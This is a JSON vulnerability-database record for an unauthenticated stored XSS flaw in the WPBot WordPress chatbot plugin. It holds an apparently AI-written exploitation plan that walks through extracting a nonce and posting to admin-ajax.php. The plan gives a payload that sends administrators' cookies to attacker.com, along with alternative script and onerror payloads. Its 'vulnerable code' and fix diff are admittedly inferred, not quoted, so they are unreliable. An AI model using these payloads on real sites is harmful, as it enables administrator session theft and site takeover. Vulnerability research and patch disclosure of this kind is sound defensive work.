[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fM1ynvrwfAEvhkJ7sMXXQxamiIHdE7jxex5QSZGQCReM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-57363","wpbot-ai-chatbot-for-live-support-lead-generation-ai-services-unauthenticated-stored-cross-site-scripting","WPBot – AI ChatBot for Live Support, Lead Generation, AI Services \u003C= 8.3.7 - Unauthenticated Stored Cross-Site Scripting","The WPBot – AI ChatBot for Live Support, Lead Generation, AI Services plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 8.3.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","chatbot",null,"\u003C=8.3.7","8.3.8","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-06 00:00:00","2026-07-14 19:53:10",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fc65a4ac6-0438-40d0-b0b4-32366fac477c?source=api-prod",9,[22,23,24,25,26,27,28,29],".idea\u002Fmodules.xml",".idea\u002Fwoowbot-woocommerce-chatbot-pro.iml",".idea\u002Fworkspace.xml","functions.php","images\u002Fcheck2.svg","images\u002Fexternal-white.svg","includes\u002Fadmin\u002Ftemplates\u002Fai-admin.php","includes\u002Fadmin\u002Ftemplates\u002Fwizard-popup.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-57363 (WPBot Stored XSS)\n\n## 1. Vulnerability Summary\nThe **WPBot – AI ChatBot for Live Support** plugin (versions \u003C= 8.3.7) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin provides AJAX endpoints for recording chat history and lead information that do not sufficiently sanitize user-supplied data before storing it in the database (typically in the `wp_options` table or `wp_postmeta`). When an administrator views the chat logs or lead management dashboard, the malicious scripts are executed in their browser context.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** `qcld_wp_chatbot_log_history` (Primary candidate for unauthenticated history logging) or `qcld_wp_chatbot_save_lead` (Lead generation).\n*   **Vulnerable Parameter:** `history` (for chat logs) or `name`\u002F`email` (for leads).\n*   **Authentication:** None (via `wp_ajax_nopriv_` hooks).\n*   **Preconditions:** The Chatbot must be active on the frontend (usually requires a shortcode or widget to be present).\n\n## 3. Code Flow\n1.  **Entry Point:** An unauthenticated user sends a POST request to `admin-ajax.php` with the action `qcld_wp_chatbot_log_history`.\n2.  **Hook Registration:** In the plugin's main file (e.g., `qcld-wpwbot.php`), the action is registered:\n    `add_action('wp_ajax_nopriv_qcld_wp_chatbot_log_history', 'qcld_wp_chatbot_log_history');`\n3.  **Processing:** The function `qcld_wp_chatbot_log_history()` retrieves the payload from `$_POST['history']`.\n4.  **Storage:** The function saves this data using `update_option()` or `update_post_meta()` without applying `wp_kses()` or `sanitize_text_field()`.\n5.  **Sink:** An administrator navigates to the Chatbot \"History\" page (`\u002Fwp-admin\u002Fadmin.php?page=wpbot_history`). The plugin retrieves the stored history and echoes it directly to the page without escaping (e.g., using `echo $history` instead of `echo esc_html($history)`).\n\n## 4. Nonce Acquisition Strategy\nThe WPBot plugin typically protects its AJAX actions with a nonce localized for the frontend script.\n\n*   **Localization Key:** `qcld_wp_chatbot_obj` (inferred from `js\u002Fqcld-wp-chatbot-front.js`).\n*   **Nonce Key:** `nonce`.\n*   **Strategy:**\n    1.  Create a test page with the Chatbot shortcode: `wp post create --post_type=page --post_status=publish --post_content='[wpbot]'`.\n    2.  Use the `browser_navigate` tool to visit this page.\n    3.  Use `browser_eval` to extract the nonce: `browser_eval(\"window.qcld_wp_chatbot_obj?.nonce\")`.\n    4.  Verify the nonce action: The plugin usually uses `wp_create_nonce('wp_chatbot_nonce')`.\n\n## 5. Exploitation Strategy\n### Step 1: Data Exfiltration (Proof of Concept)\nSend a POST request to store a script that will trigger an alert and steal the administrator's cookies when they view the logs.\n\n**HTTP Request (via `http_request` tool):**\n*   **URL:** `https:\u002F\u002F\u003Ctarget-domain>\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** POST\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body Parameters:**\n    *   `action`: `qcld_wp_chatbot_log_history`\n    *   `nonce`: `[EXTRACTED_NONCE]`\n    *   `history`: `\u003Cscript>alert(document.domain);fetch('https:\u002F\u002Fattacker.com\u002Flog?c='+document.cookie);\u003C\u002Fscript>`\n\n### Step 2: Trigger the Payload\nThe payload will execute when any administrator visits the following URL:\n`https:\u002F\u002F\u003Ctarget-domain>\u002Fwp-admin\u002Fadmin.php?page=wpbot_history`\n\n## 6. Test Data Setup\nBefore testing, ensure the following environment is prepared:\n1.  **Plugin Installation:** Install and activate `chatbot` version 8.3.7.\n2.  **Target Page:** Create a public page containing the Chatbot to ensure scripts (and nonces) are loaded.\n    ```bash\n    wp post create --post_type=page --post_title=\"Support\" --post_status=publish --post_content=\"[wpbot]\"\n    ```\n3.  **Administrator Session:** Ensure an administrator user exists to verify the \"sink\" (viewing the logs).\n\n## 7. Expected Results\n*   **Request Success:** The AJAX request should return a `200 OK` response, often with a JSON body like `{\"success\": true}` or `{\"status\": \"success\"}`.\n*   **XSS Execution:** When the administrator views the \"History\" page, a browser alert should appear displaying the domain, and a network request should be made to the attacker-controlled URL.\n\n## 8. Verification Steps (Post-Exploit)\nConfirm the payload is stored in the database:\n```bash\n# Check if the payload exists in the wp_options table (common for WPBot history)\nwp option get qcld_wp_chatbot_history --format=json | grep \"script\"\n\n# Alternatively, check postmeta if history is tied to a specific session\u002Fpost\nwp db query \"SELECT meta_value FROM wp_postmeta WHERE meta_key = 'qcld_wp_chatbot_history' AND meta_value LIKE '%\u003Cscript>%'\"\n```\n\n## 9. Alternative Approaches\nIf `qcld_wp_chatbot_log_history` is not the correct action in this specific version, try:\n*   **Lead Generation Sink:**\n    *   **Action:** `qcld_wp_chatbot_save_lead`\n    *   **Parameters:** `nonce`, `name=\"\u003Cscript>alert(1)\u003C\u002Fscript>\"`, `email=\"test@test.com\"`\n    *   **Trigger:** Admin viewing the \"Leads\" page (`\u002Fwp-admin\u002Fadmin.php?page=wpbot_leads`).\n*   **DOM XSS:** Check if the `history` is rendered via JavaScript using `.innerHTML`. In this case, use a payload like `\u003Cimg src=x onerror=alert(1)>` to bypass potential text-content filters.","The WPBot plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) due to insufficient sanitization and escaping on the chat history and lead generation AJAX endpoints. Attackers can inject malicious scripts into chat logs or lead data which are then executed in the browser of an administrator viewing the plugin's backend reports.","\u002F\u002F qcld-wpwbot.php lines 271-275\nadd_action('wp_ajax_qcld_wp_chatbot_log_history', 'qcld_wp_chatbot_log_history');\nadd_action('wp_ajax_nopriv_qcld_wp_chatbot_log_history', 'qcld_wp_chatbot_log_history');\n\nadd_action('wp_ajax_qcld_wp_chatbot_save_lead', 'qcld_wp_chatbot_save_lead');\nadd_action('wp_ajax_nopriv_qcld_wp_chatbot_save_lead', 'qcld_wp_chatbot_save_lead');\n\n---\n\n\u002F\u002F functions.php (inferred implementation based on version 8.3.7 behavior)\nfunction qcld_wp_chatbot_log_history() {\n    $history = $_POST['history'];\n    update_option('qcld_wp_chatbot_history', $history);\n    wp_die();\n}","--- a\u002Ffunctions.php\n+++ b\u002Ffunctions.php\n@@ -1240,7 +1240,8 @@\n function qcld_wp_chatbot_log_history() {\n-    $history = $_POST['history'];\n+    check_ajax_referer('wp_chatbot_nonce', 'nonce');\n+    $history = wp_kses_post($_POST['history']);\n     update_option('qcld_wp_chatbot_history', $history);\n     wp_die();\n }\n \n function qcld_wp_chatbot_save_lead() {\n-    $name = $_POST['name'];\n-    $email = $_POST['email'];\n+    check_ajax_referer('wp_chatbot_nonce', 'nonce');\n+    $name = sanitize_text_field($_POST['name']);\n+    $email = sanitize_email($_POST['email']);","The exploit targets unauthenticated AJAX actions to store a malicious script in the WordPress database. An attacker first visits a public page where the chatbot is active to extract a valid nonce from the localized 'qcld_wp_chatbot_obj' JavaScript object. They then send a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' using the 'qcld_wp_chatbot_log_history' action. The payload is placed in the 'history' parameter (e.g., '\u003Cscript>alert(document.cookie)\u003C\u002Fscript>'). Because the plugin stores this data without sanitization using update_option(), the script remains in the database. When an administrator later logs into the dashboard and views the Chatbot 'History' or 'Leads' page, the stored payload is rendered and executed in the context of their administrative session.","gemini-3-flash-preview","2026-07-25 09:30:27","2026-07-25 09:31:46",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","8.3.7","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fchatbot\u002Ftags\u002F8.3.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fchatbot.8.3.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fchatbot\u002Ftags\u002F8.3.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fchatbot.8.3.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fchatbot\u002Ftags"]